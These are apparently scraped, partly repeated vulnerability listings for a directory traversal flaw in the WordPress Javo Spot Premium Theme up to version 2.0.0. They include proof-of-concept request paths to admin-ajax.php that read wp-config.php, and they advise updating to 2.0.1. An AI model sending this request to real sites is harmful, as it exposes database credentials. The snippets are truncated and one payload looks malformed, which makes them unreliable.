Javo Spot Premium Theme - Unauthenticated Directory Traversal

Print out any file in the via an unauthenticated AJAX request. PoC /wp-admin/admin-ajax.php? jvfrmspotgetjson=../../wp-config.php=jQuery...

Javo Spot Premium Theme - Unauthenticated Directory Traversal

Print out any file in the via an unauthenticated AJAX request. /wp-admin/admin-ajax.php? jvfrmspotgetjson&fn=../../wp-config.php&callback=jQuery...

WordPress Javo Spot Premium Theme <= 2.0.0 - Unauthenticated Directory Traversal

WordPress Javo Spot Premium Theme = 2.0.0 - Unauthenticated Directory Traversal / Local File Inclusion vulnerability discovered by Soulseekah Solution Update theme to the latest version at least version 2.0.1...